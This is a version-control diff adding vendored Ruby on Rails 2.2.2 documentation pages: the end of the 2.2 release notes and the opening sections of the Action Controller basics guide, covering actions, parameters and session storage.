+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Vendor <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  has_one <span style="color: #990000">:</span>account
+  delegate <span style="color: #990000">:</span>email<span style="color: #990000">,</span> <span style="color: #990000">:</span>password<span style="color: #990000">,</span> <span style="color: #990000">:</span>to <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>account<span style="color: #990000">,</span> <span style="color: #990000">:</span>prefix <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>This will produce delegated methods <tt>vendor#account_email</tt> and <tt>vendor#account_password</tt>. You can also specify a custom prefix:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Vendor <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  has_one <span style="color: #990000">:</span>account
+  delegate <span style="color: #990000">:</span>email<span style="color: #990000">,</span> <span style="color: #990000">:</span>password<span style="color: #990000">,</span> <span style="color: #990000">:</span>to <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>account<span style="color: #990000">,</span> <span style="color: #990000">:</span>prefix <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>owner
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>This will produce delegated methods <tt>vendor#owner_email</tt> and <tt>vendor#owner_password</tt>.</p></div>
+<div class="para"><p>Lead Contributor: <a href="http://workingwithrails.com/person/5830-daniel-schierbeck">Daniel Schierbeck</a></p></div>
+<h3 id="_other_active_support_changes">9.4. Other Active Support Changes</h3>
+<div class="ilist"><ul>
+<li>
+<p>
+Extensive updates to <tt>ActiveSupport::Multibyte</tt>, including Ruby 1.9 compatibility fixes.
+</p>
+</li>
+<li>
+<p>
+The addition of <tt>ActiveSupport::Rescuable</tt> allows any class to mix in the <tt>rescue_from</tt> syntax.
+</p>
+</li>
+<li>
+<p>
+<tt>past?</tt>, <tt>today?</tt> and <tt>future?</tt> for <tt>Date</tt> and <tt>Time</tt> classes to facilitate date/time comparisons.
+</p>
+</li>
+<li>
+<p>
+<tt>Array#second</tt> through <tt>Array#fifth</tt> as aliases for <tt>Array#[1]</tt> through <tt>Array#[4]</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>Enumerable#many?</tt> to encapsulate <tt>collection.size &gt; 1</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>Inflector#parameterize</tt> produces a URL-ready version of its input, for use in <tt>to_param</tt>.
+</p>
+</li>
+<li>
+<p>
+<tt>Time#advance</tt> recognizes fractional days and weeks, so you can do <tt>1.7.weeks.ago</tt>, <tt>1.5.hours.since</tt>, and so on.
+</p>
+</li>
+<li>
+<p>
+The included TzInfo library has been upgraded to version 0.3.12.
+</p>
+</li>
+<li>
+<p>
+<tt>ActiveSuport::StringInquirer</tt> gives you a pretty way to test for equality in strings: <tt>ActiveSupport::StringInquirer.new("abc").abc? &#8658; true</tt>
+</p>
+</li>
+</ul></div>
+</div>
+<h2 id="_railties">10. Railties</h2>
+<div class="sectionbody">
+<div class="para"><p>In Railties (the core code of Rails itself) the biggest changes are in the <tt>config.gems</tt> mechanism.</p></div>
+<h3 id="_tt_config_gems_tt">10.1. <tt>config.gems</tt></h3>
+<div class="para"><p>To avoid deployment issues and make Rails applications more self-contained, it's possible to place copies of all of the gems that your Rails application requires in <tt>/vendor/gems</tt>. This capability first appeared in Rails 2.1, but it's much more flexible and robust in Rails 2.2, handling complicated dependencies between gems. Gem management in Rails includes these commands:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+<tt>config.gem <em>gem_name</em></tt> in your <tt>config/environment.rb</tt> file
+</p>
+</li>
+<li>
+<p>
+<tt>rake gems</tt> to list all configured gems, as well as whether they (and their dependencies) are installed or frozen
+</p>
+</li>
+<li>
+<p>
+<tt>rake gems:install</tt> to install missing gems to the computer
+</p>
+</li>
+<li>
+<p>
+<tt>rake gems:unpack</tt> to place a copy of the required gems into <tt>/vendor/gems</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>rake gems:unpack:dependencies</tt> to get copies of the required gems and their dependencies into <tt>/vendor/gems</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>rake gems:build</tt> to build any missing native extensions
+</p>
+</li>
+<li>
+<p>
+<tt>rake gems:refresh_specs</tt> to bring vendored gems created with Rails 2.1 into alignment with the Rails 2.2 way of storing them
+</p>
+</li>
+</ul></div>
+<div class="para"><p>You can unpack or install a single gem by specifying <tt>GEM=<em>gem_name</em></tt> on the command line.</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+Lead Contributor: <a href="http://github.com/al2o3cr">Matt Jones</a>
+</p>
+</li>
+<li>
+<p>
+More information:
+</p>
+<div class="ilist"><ul>
+<li>
+<p>
+<a href="http://ryandaigle.com/articles/2008/4/1/what-s-new-in-edge-rails-gem-dependencies">What's New in Edge Rails: Gem Dependencies</a>
+</p>
+</li>
+<li>
+<p>
+<a href="http://afreshcup.com/2008/10/25/rails-212-and-22rc1-update-your-rubygems/">Rails 2.1.2 and 2.2RC1: Update Your RubyGems</a>
+</p>
+</li>
+</ul></div>
+</li>
+</ul></div>
+<h3 id="_other_railties_changes">10.2. Other Railties Changes</h3>
+<div class="ilist"><ul>
+<li>
+<p>
+If you're a fan of the <a href="http://code.macournoyer.com/thin/">Thin</a> web server, you'll be happy to know that <tt>script/server</tt> now supports Thin directly.
+</p>
+</li>
+<li>
+<p>
+<tt>script/plugin install &lt;plugin&gt; -r &lt;revision&gt;</tt> now works with git-based as well as svn-based plugins.
+</p>
+</li>
+<li>
+<p>
+<tt>script/console</tt> now supports a <tt>&#8212;debugger</tt> option
+</p>
+</li>
+<li>
+<p>
+Instructions for setting up a continuous integration server to build Rails itself are included in the Rails source
+</p>
+</li>
+<li>
+<p>
+<tt>rake notes:custom ANNOTATION=MYFLAG</tt> lets you list out custom annotations.
+</p>
+</li>
+<li>
+<p>
+Wrapped <tt>Rails.env</tt> in <tt>StringInquirer</tt> so you can do <tt>Rails.env.development?</tt>
+</p>
+</li>
+<li>
+<p>
+To eliminate deprecation warnings and properly handle gem dependencies, Rails now requires rubygems 1.3.1 or higher.
+</p>
+</li>
+</ul></div>
+</div>
+<h2 id="_deprecated">11. Deprecated</h2>
+<div class="sectionbody">
+<div class="para"><p>A few pieces of older code are deprecated in this release:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+<tt>Rails::SecretKeyGenerator</tt> has been replaced by <tt>ActiveSupport::SecureRandom</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>render_component</tt> is deprecated. There's a <a href="http://github.com/rails/render_component/tree/master">render_components plugin</a> available if you need this functionality.
+</p>
+</li>
+<li>
+<p>
+Implicit local assignments when rendering partials has been deprecated.
+</p>
+</li>
+</ul></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> partial_with_implicit_local_assignment
+  <span style="color: #009900">@customer</span> <span style="color: #990000">=</span> Customer<span style="color: #990000">.</span>new<span style="color: #990000">(</span><span style="color: #FF0000">"Marcel"</span><span style="color: #990000">)</span>
+  render <span style="color: #990000">:</span>partial <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"customer"</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>Previously the above code made available a local variable called <tt>customer</tt> inside the partial <em>customer</em>. You should explicitly pass all the variables via :locals hash now.</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+<tt>country_select</tt> has been removed. See the <a href="http://www.rubyonrails.org/deprecation/list-of-countries">deprecation page</a> for more information and a plugin replacement.
+</p>
+</li>
+<li>
+<p>
+<tt>ActiveRecord::Base.allow_concurrency</tt> no longer has any effect.
+</p>
+</li>
+<li>
+<p>
+<tt>ActiveRecord::Errors.default_error_messages</tt> has been deprecated in favor of <tt>I18n.translate(<em>activerecord.errors.messages</em>)</tt>
+</p>
+</li>
+<li>
+<p>
+The <tt>%s</tt> and <tt>%d</tt> interpolation syntax for internationalization is deprecated.
+</p>
+</li>
+<li>
+<p>
+<tt>String#chars</tt> has been deprecated in favor of <tt>String#mb_chars</tt>.
+</p>
+</li>
+<li>
+<p>
+Durations of fractional months or fractional years are deprecated. Use Ruby's core <tt>Date</tt> and <tt>Time</tt> class arithmetic instead.
+</p>
+</li>
+</ul></div>
+</div>
+<h2 id="_credits">12. Credits</h2>
+<div class="sectionbody">
+<div class="para"><p>Release notes compiled by <a href="http://afreshcup.com">Mike Gunderloy</a></p></div>
+</div>
+
+		</div>
+	</div>
+</body>
+</html>

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/html/actioncontroller_basics.html
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/html/actioncontroller_basics.html	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/html/actioncontroller_basics.html	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,1270 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
+<head>
+	<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+	<title>Action Controller basics</title>
+	<!--[if lt IE 8]>
+	<script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script>
+	<![endif]-->
+	<link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" />
+	<link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" />
+	<link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" />
+	<style type="text/css">
+		div#container {
+	max-width: 900px;
+	padding-bottom: 3em;
+}
+
+div#content {
+	margin-left: 200px;
+}
+
+div#container.notoc {
+	max-width: 600px;
+}
+
+.notoc div#content {
+	margin-left: 0;
+}
+
+pre {
+	line-height: 1.4em;
+}
+
+#content p tt {
+	background: #eeeeee;
+	border: solid 1px #cccccc;
+	padding: 3px;
+}
+
+dt {
+	font-weight: bold;
+}
+
+#content dt tt {
+	font-size: 10pt;
+}
+
+dd {
+	margin-left: 3em;
+}
+
+#content dt tt, #content pre tt {
+	background: none;
+	padding: 0;
+	border: 0;
+}
+
+#content .olist ol {
+	margin-left: 2em;
+}
+
+#header {
+	position: relative;
+	max-width: 840px;
+	margin-left: auto;
+	margin-right: auto;
+}
+
+#header.notoc {
+	max-width: 580px;
+}
+
+#logo {
+	position: absolute;
+	left: 10px;
+	top: 10px;
+	width: 110px;
+	height: 140px;
+}
+
+div#header h1#site_title {
+	background: url('images/ruby_on_rails_by_mike_rundle2.gif') top left no-repeat;
+	position: absolute;
+	width: 392px;
+	height: 55px;
+	left: 145px;
+	top: 20px;
+	margin: 0;
+	padding: 0;
+}
+
+#site_title span {
+	display: none;
+}
+
+#site_title_tagline {
+	display: none;
+}
+
+ul#navMain {
+	position: absolute;
+	margin: 0;
+	padding: 0;
+	top: 97px;
+	left: 145px;
+}
+
+.left-floaty, .right-floaty {
+	padding: 15px;
+}
+
+.admonitionblock,
+.tableblock {
+	margin-left: 1em;
+	margin-right: 1em;
+	margin-top: 0.25em;
+	margin-bottom: 1em;
+}
+
+.admonitionblock .icon {
+	padding-right: 8px;
+}
+
+.admonitionblock .content {
+	border: solid 1px #ffda78;
+	background: #fffebd;
+	padding: 10px;
+	padding-top: 8px;
+	padding-bottom: 8px;
+}
+
+.admonitionblock .title {
+	font-size: 140%;
+	margin-bottom: 0.5em;
+}
+
+.tableblock table {
+	border: solid 1px #aaaaff;
+	background: #f0f0ff;
+}
+
+.tableblock th {
+	background: #e0e0e0;
+}
+
+.tableblock th,
+.tableblock td {
+	padding: 3px;
+	padding-left: 5px;
+	padding-right: 5px;
+}
+
+.sidebarblock {
+	margin-top: 0.25em;
+	margin: 1em;
+	border: solid 1px #ccccbb;
+	padding: 8px;
+	background: #ffffe0;
+}
+
+.sidebarblock .sidebar-title {
+	font-size: 140%;
+	font-weight: 600;
+	margin-bottom: 0.3em;
+}
+
+.sidebarblock .sidebar-content > .para:last-child > p {
+	margin-bottom: 0;
+}
+
+.sidebarblock .sidebar-title a {
+	text-decoration: none;
+}
+
+.sidebarblock .sidebar-title a:hover {
+	text-decoration: underline;
+}
+
+	</style>
+</head>
+<body>
+	<div id="header" >
+		<div id="logo">
+			<a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a>
+		</div>
+		
+		<h1 id="site_title"><span>Ruby on Rails</span></h1>
+		<h2 id="site_title_tagline">Sustainable productivity for web-application development</h2>
+
+		<ul id="navMain">
+			<li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li>
+			<li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li>
+		</ul>
+	</div>
+
+	<div id="container">
+		
+		<div id="sidebar">
+			<h2>Chapters</h2>
+			<ol>
+					<li>
+					<a href="#_what_does_a_controller_do">What Does a Controller do?</a>
+					</li>
+					<li>
+					<a href="#_methods_and_actions">Methods and Actions</a>
+					</li>
+					<li>
+					<a href="#_parameters">Parameters</a>
+						<ul>
+						
+							<li><a href="#_hash_and_array_parameters">Hash and Array Parameters</a></li>
+						
+							<li><a href="#_routing_parameters">Routing Parameters</a></li>
+						
+							<li><a href="#_tt_default_url_options_tt"><tt>default_url_options</tt></a></li>
+						
+						</ul>
+					</li>
+					<li>
+					<a href="#_session">Session</a>
+						<ul>
+						
+							<li><a href="#_disabling_the_session">Disabling the Session</a></li>
+						
+							<li><a href="#_accessing_the_session">Accessing the Session</a></li>
+						
+							<li><a href="#_the_flash">The flash</a></li>
+						
+						</ul>
+					</li>
+					<li>
+					<a href="#_cookies">Cookies</a>
+					</li>
+					<li>
+					<a href="#_filters">Filters</a>
+						<ul>
+						
+							<li><a href="#_after_filters_and_around_filters">After Filters and Around Filters</a></li>
+						
+							<li><a href="#_other_ways_to_use_filters">Other Ways to Use Filters</a></li>
+						
+						</ul>
+					</li>
+					<li>
+					<a href="#_verification">Verification</a>
+					</li>
+					<li>
+					<a href="#_request_forgery_protection">Request Forgery Protection</a>
+					</li>
+					<li>
+					<a href="#_the_tt_request_tt_and_tt_response_tt_objects">The <tt>request</tt> and <tt>response</tt> Objects</a>
+						<ul>
+						
+							<li><a href="#_the_tt_request_tt_object">The <tt>request</tt> Object</a></li>
+						
+							<li><a href="#_the_tt_response_tt_object">The <tt>response</tt> Object</a></li>
+						
+						</ul>
+					</li>
+					<li>
+					<a href="#_http_basic_authentication">HTTP Basic Authentication</a>
+					</li>
+					<li>
+					<a href="#_streaming_and_file_downloads">Streaming and File Downloads</a>
+						<ul>
+						
+							<li><a href="#_sending_files">Sending Files</a></li>
+						
+							<li><a href="#_restful_downloads">RESTful Downloads</a></li>
+						
+						</ul>
+					</li>
+					<li>
+					<a href="#_parameter_filtering">Parameter Filtering</a>
+					</li>
+					<li>
+					<a href="#_rescue">Rescue</a>
+						<ul>
+						
+							<li><a href="#_the_default_500_and_404_templates">The Default 500 and 404 Templates</a></li>
+						
+							<li><a href="#_tt_rescue_from_tt"><tt>rescue_from</tt></a></li>
+						
+						</ul>
+					</li>
+					<li>
+					<a href="#_changelog">Changelog</a>
+					</li>
+			</ol>
+		</div>
+		
+		<div id="content">
+				<h1>Action Controller basics</h1>
+			<div id="preamble">
+<div class="sectionbody">
+<div class="para"><p>In this guide you will learn how controllers work and how they fit into the request cycle in your application. After reading this guide, you will be able to:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+Follow the flow of a request through a controller
+</p>
+</li>
+<li>
+<p>
+Understand why and how to store data in the session or cookies
+</p>
+</li>
+<li>
+<p>
+Work with filters to execute code during request processing
+</p>
+</li>
+<li>
+<p>
+Use Action Controller's built-in HTTP authentication
+</p>
+</li>
+<li>
+<p>
+Stream data directly to the user's browser
+</p>
+</li>
+<li>
+<p>
+Filter sensitive parameters so they do not appear in the application's log
+</p>
+</li>
+<li>
+<p>
+Deal with exceptions that may be raised during request processing
+</p>
+</li>
+</ul></div>
+</div>
+</div>
+<h2 id="_what_does_a_controller_do">1. What Does a Controller do?</h2>
+<div class="sectionbody">
+<div class="para"><p>Action Controller is the C in MVC. After routing has determined which controller to use for a request, your controller is responsible for making sense of the request and producing the appropriate output. Luckily, Action Controller does most of the groundwork for you and uses smart conventions to make this as straight-forward as possible.</p></div>
+<div class="para"><p>For most conventional RESTful applications, the controller will receive the request (this is invisible to you as the developer), fetch or save data from a model and use a view to create HTML output. If your controller needs to do things a little differently, that's not a problem, this is just the most common way for a controller to work.</p></div>
+<div class="para"><p>A controller can thus be thought of as a middle man between models and views. It makes the model data available to the view so it can display that data to the user, and it saves or updates data from the user to the model.</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/note.png" alt="Note" />
+</td>
+<td class="content">For more details on the routing process, see <a href="../routing_outside_in.html">Rails Routing from the Outside In</a>.</td>
+</tr></table>
+</div>
+</div>
+<h2 id="_methods_and_actions">2. Methods and Actions</h2>
+<div class="sectionbody">
+<div class="para"><p>A controller is a Ruby class which inherits from ApplicationController and has methods just like any other class. When your application receives a request, the routing will determine which controller and action to run, then Rails creates an instance of that controller and runs the public method with the same name as the action.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ClientsController <span style="color: #990000">&lt;</span> ApplicationController
+
+  <span style="font-style: italic"><span style="color: #9A1900"># Actions are public methods</span></span>
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> new
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+  <span style="font-style: italic"><span style="color: #9A1900"># Action methods are responsible for producing output</span></span>
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> edit
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+<span style="font-style: italic"><span style="color: #9A1900"># Helper methods are private and can not be used as actions</span></span>
+private
+
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> foo
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>There's no rule saying a method on a controller has to be an action; they may well be used for other purposes such as filters, which will be covered later in this guide.</p></div>
+<div class="para"><p>As an example, if a user goes to <tt>/clients/new</tt> in your application to add a new client, Rails will create an instance of ClientsController and run the <tt>new</tt> method. Note that the empty method from the example above could work just fine because Rails will by default render the <tt>new.html.erb</tt> view unless the action says otherwise. The <tt>new</tt> method could make available to the view a <tt>@client</tt> instance variable by creating a new Client:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> new
+  <span style="color: #009900">@client</span> <span style="color: #990000">=</span> Client<span style="color: #990000">.</span>new
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>The <a href="../layouts_and_rendering.html">Layouts &amp; rendering guide</a> explains this in more detail.</p></div>
+<div class="para"><p>ApplicationController inherits from ActionController::Base, which defines a number of helpful methods. This guide will cover some of these, but if you're curious to see what's in there, you can see all of them in the API documentation or in the source itself.</p></div>
+</div>
+<h2 id="_parameters">3. Parameters</h2>
+<div class="sectionbody">
+<div class="para"><p>You will probably want to access data sent in by the user or other parameters in your controller actions. There are two kinds of parameters possible in a web application. The first are parameters that are sent as part of the URL, called query string parameters. The query string is everything after "?" in the URL. The second type of parameter is usually referred to as POST data. This information usually comes from a HTML form which has been filled in by the user. It's called POST data because it can only be sent as part of an HTTP POST request. Rails does not make any distinction between query string parameters and POST parameters, and both are available in the <tt>params</tt> hash in your controller:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ClientsController <span style="color: #990000">&lt;</span> ActionController<span style="color: #990000">::</span>Base
+
+  <span style="font-style: italic"><span style="color: #9A1900"># This action uses query string parameters because it gets run by a HTTP</span></span>
+  <span style="font-style: italic"><span style="color: #9A1900"># GET request, but this does not make any difference to the way in which</span></span>
+  <span style="font-style: italic"><span style="color: #9A1900"># the parameters are accessed. The URL for this action would look like this</span></span>
+  <span style="font-style: italic"><span style="color: #9A1900"># in order to list activated clients: /clients?status=activated</span></span>
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> index
+    <span style="font-weight: bold"><span style="color: #0000FF">if</span></span> params<span style="color: #990000">[:</span>status<span style="color: #990000">]</span> <span style="color: #990000">=</span> <span style="color: #FF0000">"activated"</span>
+      <span style="color: #009900">@clients</span> <span style="color: #990000">=</span> Client<span style="color: #990000">.</span>activated
+    <span style="font-weight: bold"><span style="color: #0000FF">else</span></span>
+      <span style="color: #009900">@clients</span> <span style="color: #990000">=</span> Client<span style="color: #990000">.</span>unativated
+    <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+  <span style="font-style: italic"><span style="color: #9A1900"># This action uses POST parameters. They are most likely coming from an HTML</span></span>
+  <span style="font-style: italic"><span style="color: #9A1900"># form which the user has submitted. The URL for this RESTful request will</span></span>
+  <span style="font-style: italic"><span style="color: #9A1900"># be "/clients", and the data will be sent as part of the request body.</span></span>
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> create
+    <span style="color: #009900">@client</span> <span style="color: #990000">=</span> Client<span style="color: #990000">.</span>new<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>client<span style="color: #990000">])</span>
+    <span style="font-weight: bold"><span style="color: #0000FF">if</span></span> <span style="color: #009900">@client</span><span style="color: #990000">.</span>save
+      redirect_to <span style="color: #009900">@client</span>
+    <span style="font-weight: bold"><span style="color: #0000FF">else</span></span>
+      <span style="font-style: italic"><span style="color: #9A1900"># This line overrides the default rendering behavior, which would have been</span></span>
+      <span style="font-style: italic"><span style="color: #9A1900"># to render the "create" view.</span></span>
+      render <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"new"</span>
+    <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<h3 id="_hash_and_array_parameters">3.1. Hash and Array Parameters</h3>
+<div class="para"><p>The params hash is not limited to one-dimensional keys and values. It can contain arrays and (nested) hashes. To send an array of values, append "[]" to the key name:</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>GET /clients?ids[]=1&amp;ids[]=2&amp;ids[]=3</tt></pre>
+</div></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/note.png" alt="Note" />
+</td>
+<td class="content">The actual URL in this example will be encoded as "/clients?ids%5b%5d=1&amp;ids%5b%5d=2&amp;ids%5b%5b=3" as [ and ] are not allowed in URLs. Most of the time you don't have to worry about this because the browser will take care of it for you, and Rails will decode it back when it receives it, but if you ever find yourself having to send those requests to the server manually you have to keep this in mind.</td>
+</tr></table>
+</div>
+<div class="para"><p>The value of <tt>params[:ids]</tt> will now be <tt>["1", "2", "3"]</tt>. Note that parameter values are always strings; Rails makes no attempt to guess or cast the type.</p></div>
+<div class="para"><p>To send a hash you include the key name inside the brackets:</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>&lt;form action="/clients" method="post"&gt;
+  &lt;input type="text" name="client[name]" value="Acme" /&gt;
+  &lt;input type="text" name="client[phone]" value="12345" /&gt;
+  &lt;input type="text" name="client[address][postcode]" value="12345" /&gt;
+  &lt;input type="text" name="client[address][city]" value="Carrot City" /&gt;
+&lt;/form&gt;</tt></pre>
+</div></div>
+<div class="para"><p>The value of <tt>params[:client]</tt> when this form is submitted  will be <tt>{"name" &#8658; "Acme", "phone" &#8658; "12345", "address" &#8658; {"postcode" &#8658; "12345", "city" &#8658; "Carrot City"}}</tt>. Note the nested hash in <tt>params[:client][:address]</tt>.</p></div>
+<div class="para"><p>Note that the params hash is actually an instance of HashWithIndifferentAccess from Active Support which is a subclass of Hash which lets you use symbols and strings interchangeably as keys.</p></div>
+<h3 id="_routing_parameters">3.2. Routing Parameters</h3>
+<div class="para"><p>The <tt>params</tt> hash will always contain the <tt>:controller</tt> and <tt>:action</tt> keys, but you should use the methods <tt>controller_name</tt> and <tt>action_name</tt> instead to access these values. Any other parameters defined by the routing, such as <tt>:id</tt> will also be available. As an example, consider a listing of clients where the list can show either active or inactive clients. We can add a route which captures the <tt>:status</tt> parameter in a "pretty" URL:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-style: italic"><span style="color: #9A1900"># ...</span></span>
+map<span style="color: #990000">.</span>connect <span style="color: #FF0000">"/clients/:status"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"clients"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"index"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>foo <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"bar"</span>
+<span style="font-style: italic"><span style="color: #9A1900"># ...</span></span>
+</tt></pre></div></div>
+<div class="para"><p>In this case, when a user opens the URL <tt>/clients/active</tt>, <tt>params[:status]</tt> will be set to "active". When this route is used, <tt>params[:foo]</tt> will also be set to "bar" just like it was passed in the query string in the same way <tt>params[:action]</tt> will contain "index".</p></div>
+<h3 id="_tt_default_url_options_tt">3.3. <tt>default_url_options</tt></h3>
+<div class="para"><p>You can set global default parameters that will be used when generating URLs with <tt>default_url_options</tt>. To do this, define a method with that name in your controller:</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>class ApplicationController &lt; ActionController::Base
+
+  #The options parameter is the hash passed in to +url_for+
+  def default_url_options(options)
+    {:locale =&gt; I18n.locale}
+  end
+
+end</tt></pre>
+</div></div>
+<div class="para"><p>These options will be used as a starting-point when generating, so it's possible they'll be overridden by <tt>url_for</tt>. Because this method is defined in the controller, you can define it on ApplicationController so it would be used for all URL generation, or you could define it on only one controller for all URLs generated there.</p></div>
+</div>
+<h2 id="_session">4. Session</h2>
+<div class="sectionbody">
+<div class="para"><p>Your application has a session for each user in which you can store small amounts of data that will be persisted between requests. The session is only available in the controller and the view and can use one of a number of different storage mechanisms:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+CookieStore - Stores everything on the client.
+</p>
+</li>
+<li>
+<p>
+DRbStore - Stores the data on a DRb server.
+</p>
+</li>
+<li>
+<p>
+MemCacheStore - Stores the data in a memcache.
+</p>
+</li>
+<li>
+<p>
+ActiveRecordStore - Stores the data in a database using Active Record.
+</p>
+</li>
+</ul></div>
+<div class="para"><p>All session stores use a cookie - this is required and Rails does not allow any part of the session to be passed in any other way (e.g. you can't use the query string to pass a session ID) because of security concerns (it's easier to hijack a session when the ID is part of the URL).</p></div>
+<div class="para"><p>Most stores use a cookie to store the session ID which is then used to look up the session data on the server. The default and recommended store, the CookieStore, does not store session data on the server, but in the cookie itself. The data is cryptographically signed to make it tamper-proof, but it is not encrypted, so anyone with access to it can read its contents but not edit it (Rails will not accept it if it has been edited). It can only store about 4kB of data - much less than the others - but this is usually enough. Storing large amounts of data is discouraged no matter which session store your application uses. You should especially avoid storing complex objects (anything other than basic Ruby objects, the most common example being model instances) in the session, as the server might not be able to reassemble them between requests, which will result in an error. The CookieStore has the added advantage that it does not require any setting up beforehand - Rails will generate a "secret key" which will be used to sign the cookie when you create the application.</p></div>
+<div class="para"><p>Read more about session storage in the <a href="../security.html">Security Guide</a>.</p></div>
+<div class="para"><p>If you need a different session storage mechanism, you can change it in the <tt>config/environment.rb</tt> file:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-style: italic"><span style="color: #9A1900"># Set to one of [:active_record_store, :drb_store, :mem_cache_store, :cookie_store]</span></span>
+config<span style="color: #990000">.</span>action_controller<span style="color: #990000">.</span>session_store <span style="color: #990000">=</span> <span style="color: #990000">:</span>active_record_store
+</tt></pre></div></div>
